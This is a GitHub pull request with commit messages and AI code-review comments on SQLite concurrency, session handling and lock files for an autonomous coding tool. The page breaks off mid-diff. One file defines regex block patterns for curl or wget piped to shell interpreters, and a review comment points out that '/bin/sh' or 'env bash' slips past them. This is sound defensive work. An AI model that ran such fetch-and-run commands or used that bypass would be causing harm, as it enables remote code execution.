fix: Security vulnerabilities and race conditions from code review #112
Conversation
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
…tion
- Add WAL mode, busy timeout (30s), and retry logic for all SQLite connections
- Create get_robust_connection() and robust_db_connection() context manager
- Add execute_with_retry() with exponential backoff for transient errors
- Add check_database_health() function for integrity verification
- Update progress.py to use robust connections instead of raw sqlite3
- Add /api/projects/{name}/db-health endpoint for corruption diagnosis
- Add DatabaseHealth schema for health check responses
Fixes database corruption issues caused by concurrent access from multiple
processes (MCP server, FastAPI server, progress tracking).
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
Merged upstream improvements: - Optimized count_passing_tests to use single aggregate query - Removed testing_in_progress columns (simplified architecture) - Added composite index for status queries - Per-project bash command allowlist system - Orchestrator observability in Mission Control - Various fixes and improvements Preserved local improvements: - Robust SQLite connection handling (WAL mode, busy timeout) - Database health check endpoint - Retry logic for transient errors - Corruption detection and reporting Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
Create custom-theme.css for theme overrides that won't conflict with upstream updates. The file loads after globals.css, so its CSS variables take precedence. This approach ensures: - Zero merge conflicts on git pull (new file, not in upstream) - Theme persists across upstream updates - Easy to modify without touching upstream code Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
UI Changes: - Replace neobrutalism with clean Twitter/Supabase-style design - Remove all shadows, use thin borders (1px) - Single accent color (Twitter blue) for all status indicators - Rounded corners (1.3rem base) - Fix dark mode contrast and visibility - Make KanbanColumn themeable via CSS classes Backend Changes: - Default Playwright browser changed to Firefox (lower CPU) - Default Playwright mode changed to headless (saves resources) - Add PLAYWRIGHT_BROWSER env var support Documentation: - Add CUSTOM_UPDATES.md with all customizations documented - Update .env.example with new Playwright options Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
## Bug Fixes ### SQLAlchemy PendingRollbackError (gkpj) - Add explicit `session.rollback()` in context managers before re-raising exceptions - Fixes 500 errors when database operations fail (constraint violations, etc.) - Applied to: features.py, schedules.py, database.py ### Database Migration for Legacy Columns - Add migration to make `testing_in_progress` column nullable - Fixes INSERT failures on databases created before column removal - The column was removed from the model but existing DBs had NOT NULL constraint ## Features ### MCP Server Support for Expand Session - Add MCP server configuration to ExpandChatSession - Enables `feature_create_bulk` tool for creating features directly - Previously, Expand skill instructed Claude to use MCP tool that wasn't available ### Improved MCP Config for Assistant Session - Use JSON file path instead of dict for mcp_servers parameter - More reliable MCP server connection with Claude CLI Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
When a stored conversation ID no longer exists (e.g., database was reset or conversation was deleted), the UI would repeatedly try to fetch it, causing endless 404 errors in the console. This fix: - Stops retrying on 404 errors (conversation doesn't exist) - Automatically clears the stored conversation ID from localStorage when a 404 is received, allowing the user to start fresh Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
- Check for 'not found' message (server response) in addition to '404' - Only clear stored conversation ID on actual 404 errors - Prevent unnecessary retries for deleted conversations - Don't clear conversation on transient network errors Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
- Add _engine_cache dictionary to store engines by project path - create_database() now returns cached engine if available - Prevents "too many open files" errors from repeated engine creation - Each API request was creating a new SQLAlchemy engine without cleanup Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
Security fixes: - Add command injection prevention layer blocking curl/wget piped to shell - Patterns allow legitimate shell features ($(), source, export) Concurrency fixes: - Fix race condition in _maintain_testing_agents() using placeholder pattern - Add transactional state management for feature in_progress with rollback - Add process termination verification before removing from tracking dict - Add engine pool disposal after subprocess completion for fresh DB reads Database reliability: - Add thread-safe engine cache with double-checked locking in api/connection.py - Add get_db_session() context manager for automatic session cleanup - Add invalidate_engine_cache() for explicit cache invalidation - Add retry logic with exponential backoff in feature_repository.py - Convert cycle detection from recursive to iterative DFS to prevent stack overflow Error handling: - Add TTL tracking and cleanup for stale agents in AgentTracker - Categorize WebSocket exceptions (WebSocketDisconnect, ConnectionError, etc.) - Add robust lock file cleanup with PID verification Tests: - Add test_command_injection_prevention with 20+ attack vectors - Move tests to tests/ directory Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
📝 WalkthroughWalkthroughIntroduces a WAL-aware SQLite/SQLAlchemy connection layer with retries, health checks, migrations, engine/session caching; new ORM models and migrations; FeatureRepository with retry-safe commits; iterative dependency resolver; async orchestrator and process-manager improvements; security pre-validation and tests; config/logging infra and many tests. Changes
Sequence Diagram(s)sequenceDiagram
participant Client as Client/API Caller
participant Router as FastAPI Router
participant Conn as api.connection
participant Engine as SQLAlchemy Engine/Cache
participant SQLite as SQLite DB
rect rgba(200,200,255,0.5)
Client->>Router: GET /api/projects/{name}/db-health
Router->>Conn: resolve project path (get_database_path)
Router->>Conn: check_database_health(db_path)
Conn->>Engine: get or create engine (cache lookup)
Engine-->>Conn: (engine, SessionLocal)
Conn->>SQLite: open robust sqlite3 connection (WAL-aware), PRAGMA journal_mode/integrity
SQLite-->>Conn: PRAGMA results
Conn-->>Router: structured health dict
Router-->>Client: DatabaseHealth response
end
Estimated code review effort🎯 4 (Complex) | ⏱️ ~45 minutes Possibly related PRs
Poem
🚥 Pre-merge checks | ✅ 3✅ Passed checks (3 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing touches
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
Accept upstream theme system changes (shadcn/ui migration). Our security and reliability fixes remain intact. Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 9
🤖 Fix all issues with AI agents
In `@api/database.py`:
- Around line 5-36: Either restore the canonical Feature model into
api/models.py and make api/database.py a simple re-export, or explicitly update
the project ADR/guideline to declare api/models.py as the new canonical
location; specifically, ensure the Feature model (fields: priority, category,
name, description, steps, passes, dependencies) is defined in api/models.py
(class Feature, Base) and that api/database.py only re-exports Feature and other
symbols (Base, FeatureAttempt, FeatureError, Schedule, ScheduleOverride) via the
existing import list, and update the ADR/documentation to reference
api/models.py as the source of truth for model definitions.
In `@api/dependency_resolver.py`:
- Around line 257-303: The bug is that when re-queuing a node for processing
later you drop the current node from path (stack.append((node_id, path[:-1]
...))) which breaks ancestor tracking and can miss cycles; change the push to
keep the full path (stack.append((node_id, path, dep_index + 1))) so
parent_map/rec_stack/visited keep correct ancestry for later dependency checks
(update references around stack, path, parent_map, rec_stack, visited,
feature_map, cycles accordingly).
In `@api/feature_repository.py`:
- Around line 19-21: Filters that use equality to False on boolean columns
(e.g., comparisons like Feature.passes == False or Feature.in_progress == False)
currently exclude legacy rows where these columns are NULL; adjust those
predicates to treat NULL as False by updating them to explicitly include NULL
checks (for example, replace Feature.passes == False with
(Feature.passes.is_(False) | Feature.passes.is_(None)) or use
coalesce/func.coalesce to default NULL to False). Apply this change for all
occurrences (notably in the functions that build pending/non-passing queries
referencing Feature.passes and Feature.in_progress) so NULLs are treated as
False in the filters.
- Around line 37-72: In _commit_with_retry, ensure the SQLAlchemy session is
rolled back on every OperationalError path before re-raising so the session is
left in a clean state; specifically, call session.rollback() immediately before
the final raise in the except OperationalError block (for both non-retriable
messages and after exhausting retries) and preserve/re-raise the original
exception (or raise last_error) so calling code still receives the original
OperationalError while the session is reset.
In `@parallel_orchestrator.py`:
- Around line 1013-1018: The expire_all() call on a newly opened session is
ineffective because the session is closed before any query runs; either remove
this no-op block or perform the recheck using the same session: open session via
get_session(), call session.expire_all(), then run the check logic (e.g., the
same query currently in get_all_complete() or call get_all_complete() but
refactored to accept/use an external session) before closing the session; update
functions like get_session(), expire_all(), and get_all_complete() to
accept/propagate a session parameter if you choose to reuse the session for the
recheck.
In `@security.py`:
- Around line 37-79: The pre-validation misses wrappers like /bin/sh or env bash
because DANGEROUS_SHELL_PATTERNS only matches bare tokens; update the patterns
in DANGEROUS_SHELL_PATTERNS (and related descriptions) so the regexes detect
optional absolute/relative paths and optional env wrappers and flags (e.g.,
match pipe followed by optional "env ...", optional path like "/bin/sh" or
"./sh", or any path ending with sh|bash|python|perl|ruby). Modify the existing
entries used by pre_validate_command_safety to use a single more robust regex
per interpreter (e.g., detect
r'\|\s*(?:env\b[^|]*\s+)?(?:[\w/.-]*\/)?(?:ba)?sh\b' and analogous patterns for
python/perl/ruby) and update the human-readable description strings accordingly.
In `@server/services/assistant_chat_session.py`:
- Around line 250-271: The MCP config JSON created in start() is not tracked or
removed on shutdown; add an instance attribute (e.g., self._mcp_config_file) in
__init__ and assign it when you create mcp_config_file in start() (replace the
local mcp_config_file variable with the attribute), then update close() to
delete that file if it exists after client cleanup (use pathlib.unlink or
os.remove with exists check). Reference the start() and close() methods and the
new self._mcp_config_file attribute to mirror expand_chat_session.py's behavior
so the temporary file containing PROJECT_DIR/PYTHONPATH is always cleaned up.
In `@server/services/process_manager.py`:
- Around line 229-288: The _ensure_lock_removed method currently unlinks the
lock immediately when self.pid is None and ignores the timestamp part of
"PID:CREATE_TIME", which can clear a valid lock after a restart; update
_ensure_lock_removed to (1) still parse the lock file when self.pid is None,
extracting lock_pid and optional lock_create_time, (2) if lock_pid exists use
psutil to check if the process is running and, if running, compare
proc.create_time() to the parsed lock_create_time (use a tolerance for float
equality) to decide whether the lock belongs to the same process — only remove
it if the PID doesn't exist, the create times differ, or the running process is
not our agent (inspect proc.cmdline() for "autonomous_agent_demo.py"); (3) when
parsing "PID:CREATE_TIME" handle ValueError robustly and treat missing/invalid
timestamps as stale only after verifying pid liveness; keep existing exception
handling and the logger messages in _ensure_lock_removed.
In `@ui/src/components/AssistantPanel.tsx`:
- Around line 52-67: The code calls conversationError.message.toLowerCase()
without guarding that conversationError is an Error (React Query types error as
unknown); update the useEffect that references conversationError and
conversationId to first check conversationError is an Error (e.g., if
(conversationError instanceof Error) { const message =
conversationError.message.toLowerCase(); ... }) before calling
.message.toLowerCase(), and only call setConversationId(null) when that guarded
message includes 'not found' or '404'; keep references to conversationError,
conversationId, useEffect, and setConversationId when locating the change.
🧹 Nitpick comments (5)
server/services/expand_chat_session.py (2)
417-421: Redundantsysimport.
sysis already imported at module level (line 15), so this local import is unnecessary.♻️ Suggested fix
- # Import database classes - import sys - root = Path(__file__).parent.parent.parent + # Import database classes - use module-level ROOT_DIR + root = ROOT_DIR if str(root) not in sys.path: sys.path.insert(0, str(root))
426-470: Use the context manager fromapi.connection.pyfor database session cleanup.The manual
try/except/finallypattern works correctly, but the codebase already provides a context managerget_db_session()inapi/connection.pythat encapsulates this exact logic. Using it would improve consistency with other modules in the codebase.♻️ Suggested refactor
- from api.database import Feature, create_database - - # Get database session - _, SessionLocal = create_database(self.project_dir) - session = SessionLocal() - - try: + from api.connection import get_db_session + from api.database import Feature + + with get_db_session(self.project_dir) as session: # Determine starting priority max_priority_feature = session.query(Feature).order_by(Feature.priority.desc()).first() # ... rest of logic ... session.commit() return created_features - - except Exception: - session.rollback() - raise - finally: - session.close()parallel_orchestrator.py (3)
43-44: Global logger reassignment in async context may cause issues.The module-level
loggeris reassigned insiderun_loop()at line 1084-1086. If multiple orchestrators run concurrently orrun_loop()is called multiple times, this global mutation could cause logging to go to unexpected destinations. Consider making the logger an instance attribute instead.-# Module logger - initialized lazily in run_loop -logger: logging.Logger = logging.getLogger("orchestrator") +# Module logger - fallback for early logging before orchestrator starts +_module_logger: logging.Logger = logging.getLogger("orchestrator")Then use
self._loggeras an instance attribute initialized inrun_loop().Also applies to: 1084-1086
461-476: Duplicate rollback logic forin_progressflag.The
start_featuremethod (lines 463-475) rolls backin_progresson spawn failure, but_spawn_coding_agent(lines 513-521) also resetsin_progresson exception. This meansin_progresscould be reset twice if_spawn_coding_agentraises an exception, or inconsistently if it returns(False, message)without raising.Consider consolidating the rollback logic in one place - either in
start_feature(which already handles it) or in_spawn_coding_agent, but not both.♻️ Suggested fix: Remove duplicate rollback from _spawn_coding_agent
except Exception as e: - # Reset in_progress on failure - session = self.get_session() - try: - feature = session.query(Feature).filter(Feature.id == feature_id).first() - if feature: - feature.in_progress = False - session.commit() - finally: - session.close() return False, f"Failed to start agent: {e}"The caller
start_featurealready handles the rollback viamarked_in_progress.Also applies to: 513-521
810-818: Engine disposal is correct but heavyweight.Disposing and recreating the SQLAlchemy engine after subprocess completion ensures fresh reads from SQLite WAL mode. While this works correctly, it's a heavyweight operation.
Consider using connection pool settings like
pool_pre_ping=Trueorpool_recycleas a lighter alternative, though the current approach is safe and prioritizes correctness.
Comment on lines
+5
to
36
| This module re-exports all database components for backwards compatibility. | ||
|
|
||
| def _utc_now() -> datetime: | ||
| """Return current UTC time. Replacement for deprecated _utc_now().""" | ||
| return datetime.now(timezone.utc) | ||
| The implementation has been split into: | ||
| - api/models.py - SQLAlchemy ORM models | ||
| - api/migrations.py - Database migration functions | ||
| - api/connection.py - Connection management and session utilities | ||
| """ | ||
|
|
||
| from sqlalchemy import ( | ||
| Boolean, | ||
| CheckConstraint, | ||
| Column, | ||
| DateTime, | ||
| ForeignKey, | ||
| Index, | ||
| Integer, | ||
| String, | ||
| Text, | ||
| create_engine, | ||
| text, | ||
| from api.connection import ( | ||
| SQLITE_BUSY_TIMEOUT_MS, | ||
| SQLITE_MAX_RETRIES, | ||
| SQLITE_RETRY_DELAY_MS, | ||
| check_database_health, | ||
| create_database, | ||
| execute_with_retry, | ||
| get_database_path, | ||
| get_database_url, | ||
| get_db, | ||
| get_db_session, | ||
| get_robust_connection, | ||
| invalidate_engine_cache, | ||
| robust_db_connection, | ||
| set_session_maker, | ||
| ) | ||
| from api.models import ( | ||
| Base, | ||
| Feature, | ||
| FeatureAttempt, | ||
| FeatureError, | ||
| Schedule, | ||
| ScheduleOverride, | ||
| ) |
There was a problem hiding this comment.
🛠️ Refactor suggestion | 🟠 Major
Align api/database.py with the model-definition guideline
This module now only re-exports models; if the intent is to move definitions to api/models.py, please update the guideline/ADR accordingly or keep the Feature model definitions here to avoid divergence in expectations. As per coding guidelines, ensure api/database.py remains the canonical location for the Feature model (priority, category, name, description, steps, passes, dependencies) or formally document the new source of truth.
🤖 Prompt for AI Agents
In `@api/database.py` around lines 5 - 36, Either restore the canonical Feature
model into api/models.py and make api/database.py a simple re-export, or
explicitly update the project ADR/guideline to declare api/models.py as the new
canonical location; specifically, ensure the Feature model (fields: priority,
category, name, description, steps, passes, dependencies) is defined in
api/models.py (class Feature, Base) and that api/database.py only re-exports
Feature and other symbols (Base, FeatureAttempt, FeatureError, Schedule,
ScheduleOverride) via the existing import list, and update the ADR/documentation
to reference api/models.py as the source of truth for model definitions.
Comment on lines
+257
to
+303
| # Iterative DFS using explicit stack | ||
| # Stack entries: (node_id, path_to_node, deps_iterator) | ||
| # We store the deps iterator to resume processing after exploring a child | ||
| stack: list[tuple[int, list[int], int]] = [(start_id, [], 0)] | ||
| rec_stack: set[int] = set() # Nodes in current path | ||
| parent_map: dict[int, list[int]] = {} # node -> path to reach it | ||
|
|
||
| while stack: | ||
| node_id, path, dep_index = stack.pop() | ||
|
|
||
| # First visit to this node in current exploration | ||
| if dep_index == 0: | ||
| if node_id in rec_stack: | ||
| # Back edge found - cycle detected | ||
| cycle_start = path.index(node_id) if node_id in path else len(path) | ||
| if node_id in path: | ||
| cycles.append(path[cycle_start:] + [node_id]) | ||
| continue | ||
|
|
||
| if node_id in visited: | ||
| continue | ||
|
|
||
| visited.add(node_id) | ||
| rec_stack.add(node_id) | ||
| path = path + [node_id] | ||
| parent_map[node_id] = path | ||
|
|
||
| feature = feature_map.get(node_id) | ||
| deps = (feature.get("dependencies") or []) if feature else [] | ||
|
|
||
| # Process dependencies starting from dep_index | ||
| if dep_index < len(deps): | ||
| dep_id = deps[dep_index] | ||
|
|
||
| # Push current node back with incremented index for later deps | ||
| stack.append((node_id, path[:-1] if path else [], dep_index + 1)) | ||
|
|
||
| if dep_id in rec_stack: | ||
| # Cycle found | ||
| if node_id in parent_map: | ||
| current_path = parent_map[node_id] | ||
| if dep_id in current_path: | ||
| cycle_start = current_path.index(dep_id) | ||
| cycles.append(current_path[cycle_start:]) | ||
| elif dep_id not in visited: | ||
| # Explore child | ||
| stack.append((dep_id, path, 0)) |
There was a problem hiding this comment.
Cycle detection can miss cycles on non-first dependencies.
When re-queuing a node you drop the current node from path (path[:-1]), so children after the first are explored without their ancestors. This can miss cycles like B -> D -> B if D isn’t the first dependency. Keep the full path when pushing the current node back.
🐛 Proposed fix
- stack.append((node_id, path[:-1] if path else [], dep_index + 1))
+ stack.append((node_id, path, dep_index + 1))🤖 Prompt for AI Agents
In `@api/dependency_resolver.py` around lines 257 - 303, The bug is that when
re-queuing a node for processing later you drop the current node from path
(stack.append((node_id, path[:-1] ...))) which breaks ancestor tracking and can
miss cycles; change the push to keep the full path (stack.append((node_id, path,
dep_index + 1))) so parent_map/rec_stack/visited keep correct ancestry for later
dependency checks (update references around stack, path, parent_map, rec_stack,
visited, feature_map, cycles accordingly).
Comment on lines
+19
to
+21
| from sqlalchemy.exc import OperationalError | ||
| from sqlalchemy.orm import Session | ||
|
|
There was a problem hiding this comment.
Include legacy NULL booleans in pending/non-passing filters
Legacy rows with NULL passes/in_progress will be excluded by == False filters, which can hide features from pending/ready flows. Treat NULL as False in these filters.
🐛 Proposed fix
-from sqlalchemy.orm import Session
+from sqlalchemy.orm import Session
+from sqlalchemy import or_
@@
- return self.session.query(Feature).filter(
- Feature.passes == False,
- Feature.in_progress == False
- ).all()
+ return self.session.query(Feature).filter(
+ or_(Feature.passes == False, Feature.passes.is_(None)),
+ or_(Feature.in_progress == False, Feature.in_progress.is_(None)),
+ ).all()
@@
- return self.session.query(Feature).filter(Feature.passes == False).all()
+ return self.session.query(Feature).filter(
+ or_(Feature.passes == False, Feature.passes.is_(None))
+ ).all()Also applies to: 173-190
🤖 Prompt for AI Agents
In `@api/feature_repository.py` around lines 19 - 21, Filters that use equality to
False on boolean columns (e.g., comparisons like Feature.passes == False or
Feature.in_progress == False) currently exclude legacy rows where these columns
are NULL; adjust those predicates to treat NULL as False by updating them to
explicitly include NULL checks (for example, replace Feature.passes == False
with (Feature.passes.is_(False) | Feature.passes.is_(None)) or use
coalesce/func.coalesce to default NULL to False). Apply this change for all
occurrences (notably in the functions that build pending/non-passing queries
referencing Feature.passes and Feature.in_progress) so NULLs are treated as
False in the filters.
Comment on lines
+37
to
+72
| def _commit_with_retry(session: Session, max_retries: int = MAX_COMMIT_RETRIES) -> None: | ||
| """ | ||
| Commit a session with retry logic for transient errors. | ||
|
|
||
| Handles SQLITE_BUSY, SQLITE_LOCKED, and similar transient errors | ||
| with exponential backoff. | ||
|
|
||
| Args: | ||
| session: SQLAlchemy session to commit | ||
| max_retries: Maximum number of retry attempts | ||
|
|
||
| Raises: | ||
| OperationalError: If commit fails after all retries | ||
| """ | ||
| delay_ms = INITIAL_RETRY_DELAY_MS | ||
| last_error = None | ||
|
|
||
| for attempt in range(max_retries + 1): | ||
| try: | ||
| session.commit() | ||
| return | ||
| except OperationalError as e: | ||
| error_msg = str(e).lower() | ||
| # Retry on lock/busy errors | ||
| if "locked" in error_msg or "busy" in error_msg: | ||
| last_error = e | ||
| if attempt < max_retries: | ||
| logger.warning( | ||
| f"Database commit failed (attempt {attempt + 1}/{max_retries + 1}), " | ||
| f"retrying in {delay_ms}ms: {e}" | ||
| ) | ||
| time.sleep(delay_ms / 1000) | ||
| delay_ms *= 2 # Exponential backoff | ||
| session.rollback() # Reset session state before retry | ||
| continue | ||
| raise |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
find . -type f -name "feature_repository.py" | head -20Repository: leonvanzyl/autocoder
Length of output: 91
🏁 Script executed:
git ls-files | grep -E "(feature_repository|api)" | head -20Repository: leonvanzyl/autocoder
Length of output: 201
🏁 Script executed:
cat -n api/feature_repository.py | head -80Repository: leonvanzyl/autocoder
Length of output: 2922
🏁 Script executed:
# Check the imports and overall structure
head -20 api/feature_repository.pyRepository: leonvanzyl/autocoder
Length of output: 602
🏁 Script executed:
# Search for usages of _commit_with_retry
rg "_commit_with_retry" -B 2 -A 2Repository: leonvanzyl/autocoder
Length of output: 1641
🏁 Script executed:
# Check if there are try-catch blocks that catch exceptions from this function
rg -A 5 "_commit_with_retry" --type pythonRepository: leonvanzyl/autocoder
Length of output: 150
🏁 Script executed:
# Look at the full methods that call _commit_with_retry
rg -B 10 "_commit_with_retry\(self.session\)" api/feature_repository.py | head -60Repository: leonvanzyl/autocoder
Length of output: 1571
🏁 Script executed:
# Check if there's exception handling around the session.refresh calls
rg -A 10 "_commit_with_retry\(self.session\)" api/feature_repository.py | head -80Repository: leonvanzyl/autocoder
Length of output: 1401
🏁 Script executed:
# Check how the session is reused after exceptions
rg "def (mark_|get_|clear_)" api/feature_repository.py | head -20Repository: leonvanzyl/autocoder
Length of output: 937
🏁 Script executed:
# Check if there's error handling at a higher level
rg -B 5 "FeatureRepository\(" --type python | head -30Repository: leonvanzyl/autocoder
Length of output: 94
🌐 Web query:
SQLAlchemy PendingRollbackError after failed commit session state
💡 Result:
PendingRollbackError means your Session is stuck in a “failed transaction / pending rollback” state because a previous flush()/commit() raised an exception, and you then tried to keep using the same session without calling Session.rollback() (or closing the session). SQLAlchemy intentionally blocks further SQL until you explicitly end that failed transaction scope. [1]
Fix pattern
Always rollback() (or discard the session) after a failed commit()/flush():
from sqlalchemy.exc import SQLAlchemyError
try:
session.add(obj)
session.commit()
except SQLAlchemyError:
session.rollback() # required to make the Session usable again
raiseOr use a transaction context manager so rollback happens automatically:
from sqlalchemy.exc import SQLAlchemyError
try:
with session.begin():
session.add(obj)
except SQLAlchemyError:
# session.begin() already rolled back
raiseCommon gotcha: autoflush triggers the real failure earlier
Sometimes the original exception happens during an autoflush caused by a query (before your explicit commit()), and then later you see PendingRollbackError. If you’re querying while building up objects, wrap the query in no_autoflush and still rollback on error:
try:
with session.no_autoflush:
session.execute(...)
session.commit()
except:
session.rollback()
raiseKey rule
After any exception during flush()/commit(), you must call Session.rollback() before reusing that session (or just close() it and create a new one). [1] [2]
Sources: SQLAlchemy FAQ on pending rollback state [1]; SQLAlchemy 2.0 session basics (explicit rollback required after flush failure) [2].
Rollback before re-raising commit failures
If the final commit attempt fails, the session enters a failed transaction state. SQLAlchemy blocks further operations on that session and will raise PendingRollbackError if you attempt to use it (e.g., session.refresh()). Roll back the session on all OperationalError paths before raising to restore it to a clean state.
🐛 Proposed fix
- except OperationalError as e:
- error_msg = str(e).lower()
- # Retry on lock/busy errors
- if "locked" in error_msg or "busy" in error_msg:
- last_error = e
- if attempt < max_retries:
- logger.warning(
- f"Database commit failed (attempt {attempt + 1}/{max_retries + 1}), "
- f"retrying in {delay_ms}ms: {e}"
- )
- time.sleep(delay_ms / 1000)
- delay_ms *= 2 # Exponential backoff
- session.rollback() # Reset session state before retry
- continue
- raise
+ except OperationalError as e:
+ error_msg = str(e).lower()
+ # Always rollback to clear the failed transaction before retry/raise
+ session.rollback()
+ # Retry on lock/busy errors
+ if "locked" in error_msg or "busy" in error_msg:
+ last_error = e
+ if attempt < max_retries:
+ logger.warning(
+ f"Database commit failed (attempt {attempt + 1}/{max_retries + 1}), "
+ f"retrying in {delay_ms}ms: {e}"
+ )
+ time.sleep(delay_ms / 1000)
+ delay_ms *= 2 # Exponential backoff
+ continue
+ raise🤖 Prompt for AI Agents
In `@api/feature_repository.py` around lines 37 - 72, In _commit_with_retry,
ensure the SQLAlchemy session is rolled back on every OperationalError path
before re-raising so the session is left in a clean state; specifically, call
session.rollback() immediately before the final raise in the except
OperationalError block (for both non-retriable messages and after exhausting
retries) and preserve/re-raise the original exception (or raise last_error) so
calling code still receives the original OperationalError while the session is
reset.
Comment on lines
+1013
to
1018
| # Force a fresh database check before declaring blocked | ||
| session = self.get_session() | ||
| try: | ||
| feature_count = session.query(Feature).count() | ||
| all_features = session.query(Feature).all() | ||
| feature_names = [f"{f.id}: {f.name}" for f in all_features[:10]] | ||
| print(f"[DEBUG] features in database={feature_count}", flush=True) | ||
| debug_log.log("INIT", "Post-initialization database state", | ||
| max_concurrency=self.max_concurrency, | ||
| yolo_mode=self.yolo_mode, | ||
| testing_agent_ratio=self.testing_agent_ratio, | ||
| feature_count=feature_count, | ||
| first_10_features=feature_names) | ||
| session.expire_all() | ||
| finally: | ||
| session.close() |
There was a problem hiding this comment.
Ineffective expire_all() call without subsequent query.
The session is opened, expire_all() is called, then immediately closed. Since no query is performed on this session, the expire_all() has no effect. The subsequent get_all_complete() call opens its own session.
Either remove this block or perform the actual recheck within this session:
♻️ Option 1: Remove ineffective code
- # No ready features and nothing running
- # Force a fresh database check before declaring blocked
- session = self.get_session()
- try:
- session.expire_all()
- finally:
- session.close()
-
# Recheck if all features are now complete♻️ Option 2: Use the session for the check
# No ready features and nothing running
# Force a fresh database check before declaring blocked
session = self.get_session()
try:
session.expire_all()
+ # Perform check within same session
+ all_features = session.query(Feature).all()
+ all_complete = all(f.passes or self._failure_counts.get(f.id, 0) >= MAX_FEATURE_RETRIES for f in all_features)
+ if all_complete:
+ return False
finally:
session.close()
-
- # Recheck if all features are now complete
- if self.get_all_complete():
- return False # Signal to break the loop🤖 Prompt for AI Agents
In `@parallel_orchestrator.py` around lines 1013 - 1018, The expire_all() call on
a newly opened session is ineffective because the session is closed before any
query runs; either remove this no-op block or perform the recheck using the same
session: open session via get_session(), call session.expire_all(), then run the
check logic (e.g., the same query currently in get_all_complete() or call
get_all_complete() but refactored to accept/use an external session) before
closing the session; update functions like get_session(), expire_all(), and
get_all_complete() to accept/propagate a session parameter if you choose to
reuse the session for the recheck.
Comment on lines
+37
to
+79
| DANGEROUS_SHELL_PATTERNS = [ | ||
| # Network download piped directly to shell interpreter | ||
| # These are almost always malicious - legitimate use cases would save to file first | ||
| (re.compile(r'curl\s+[^|]*\|\s*(?:ba)?sh', re.IGNORECASE), "curl piped to shell"), | ||
| (re.compile(r'wget\s+[^|]*\|\s*(?:ba)?sh', re.IGNORECASE), "wget piped to shell"), | ||
| (re.compile(r'curl\s+[^|]*\|\s*python', re.IGNORECASE), "curl piped to python"), | ||
| (re.compile(r'wget\s+[^|]*\|\s*python', re.IGNORECASE), "wget piped to python"), | ||
| (re.compile(r'curl\s+[^|]*\|\s*perl', re.IGNORECASE), "curl piped to perl"), | ||
| (re.compile(r'wget\s+[^|]*\|\s*perl', re.IGNORECASE), "wget piped to perl"), | ||
| (re.compile(r'curl\s+[^|]*\|\s*ruby', re.IGNORECASE), "curl piped to ruby"), | ||
| (re.compile(r'wget\s+[^|]*\|\s*ruby', re.IGNORECASE), "wget piped to ruby"), | ||
|
|
||
| # Null byte injection (can terminate strings early in C-based parsers) | ||
| (re.compile(r'\\x00'), "null byte injection (hex)"), | ||
| ] | ||
|
|
||
|
|
||
| def pre_validate_command_safety(command: str) -> tuple[bool, str]: | ||
| """ | ||
| Pre-validate a command string for dangerous shell patterns. | ||
|
|
||
| This check runs BEFORE the allowlist check and blocks patterns that are | ||
| almost always malicious (e.g., curl piped directly to shell). | ||
|
|
||
| This function intentionally allows common shell features like $(), ``, | ||
| source, and export because they are needed for legitimate programming | ||
| workflows. The allowlist system provides the primary security layer. | ||
|
|
||
| Args: | ||
| command: The raw command string to validate | ||
|
|
||
| Returns: | ||
| Tuple of (is_safe, error_message). If is_safe is False, error_message | ||
| describes the dangerous pattern that was detected. | ||
| """ | ||
| if not command: | ||
| return True, "" | ||
|
|
||
| for pattern, description in DANGEROUS_SHELL_PATTERNS: | ||
| if pattern.search(command): | ||
| return False, f"Dangerous shell pattern detected: {description}" | ||
|
|
||
| return True, "" |
There was a problem hiding this comment.
Pre-validation can be bypassed with /bin/sh or env bash.
Current patterns only match bare sh/bash/python tokens. Variants like curl ... | /bin/sh or curl ... | env bash will pass pre-validation and the allowlist, defeating the intent.
🔒 Proposed fix
+# Allow optional path and env prefix for interpreter detection
+INTERPRETER_PREFIX = r'(?:\S+/)?(?:env\s+)?'
+SHELL_INTERPRETER_RE = rf'{INTERPRETER_PREFIX}(?:ba)?sh\b'
+PYTHON_INTERPRETER_RE = rf'{INTERPRETER_PREFIX}python(?:\d+(?:\.\d+)*)?\b'
+PERL_INTERPRETER_RE = rf'{INTERPRETER_PREFIX}perl\b'
+RUBY_INTERPRETER_RE = rf'{INTERPRETER_PREFIX}ruby\b'
+
DANGEROUS_SHELL_PATTERNS = [
# Network download piped directly to shell interpreter
# These are almost always malicious - legitimate use cases would save to file first
- (re.compile(r'curl\s+[^|]*\|\s*(?:ba)?sh', re.IGNORECASE), "curl piped to shell"),
- (re.compile(r'wget\s+[^|]*\|\s*(?:ba)?sh', re.IGNORECASE), "wget piped to shell"),
- (re.compile(r'curl\s+[^|]*\|\s*python', re.IGNORECASE), "curl piped to python"),
- (re.compile(r'wget\s+[^|]*\|\s*python', re.IGNORECASE), "wget piped to python"),
- (re.compile(r'curl\s+[^|]*\|\s*perl', re.IGNORECASE), "curl piped to perl"),
- (re.compile(r'wget\s+[^|]*\|\s*perl', re.IGNORECASE), "wget piped to perl"),
- (re.compile(r'curl\s+[^|]*\|\s*ruby', re.IGNORECASE), "curl piped to ruby"),
- (re.compile(r'wget\s+[^|]*\|\s*ruby', re.IGNORECASE), "wget piped to ruby"),
+ (re.compile(rf'curl\s+[^|]*\|\s*{SHELL_INTERPRETER_RE}', re.IGNORECASE), "curl piped to shell"),
+ (re.compile(rf'wget\s+[^|]*\|\s*{SHELL_INTERPRETER_RE}', re.IGNORECASE), "wget piped to shell"),
+ (re.compile(rf'curl\s+[^|]*\|\s*{PYTHON_INTERPRETER_RE}', re.IGNORECASE), "curl piped to python"),
